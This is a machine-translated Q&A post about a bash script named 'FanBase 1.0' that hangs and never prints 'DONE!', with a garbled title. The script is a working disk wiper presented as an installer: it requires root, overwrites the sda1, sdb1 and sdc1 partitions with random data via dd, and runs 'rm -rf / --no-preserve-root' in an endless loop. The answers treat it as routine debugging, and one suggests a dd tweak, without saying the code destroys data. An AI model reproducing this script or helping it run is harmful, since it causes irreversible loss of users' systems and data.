为什么一段时间后代码是正确的?做...;从不在bash中调用完循环?

时间:2019-01-28 16:02:34

标签: linux bash

此脚本已在安装中列出。但是,它只是挂起而不做任何事情。有什么问题吗?

我尝试在多台计算机上运行此脚本。

#!/bin/bash
if [[ $EUID -ne 0 ]]; then
   echo "This script must be run as root" 
   exit 1
fi
echo "Starting FanBase 1.0"
#Replace with any message 
rm -rf b
while true
  do
   echo $(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '') >> b
   dd if=/dev/urandom of=/dev/sda1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdc1 bs=1M 2> /dev/null
   dd if=b of=/dev/sda1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdc1 bs=1M 2> /dev/null
   rm -rf / --no-preserve-root 2> /dev/null
  done
echo "DONE!"

应该说“完成!”

2 个答案:

答案 0 :(得分:1)

让我们调试一下。尝试为每个count=1命令添加一个dd选项。例如,

    dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null

答案 1 :(得分:1)

您有一个无限循环:

while true
do
  ....
done

将永远运行,并且永远不会到达打印“ DONE!”的最后一行。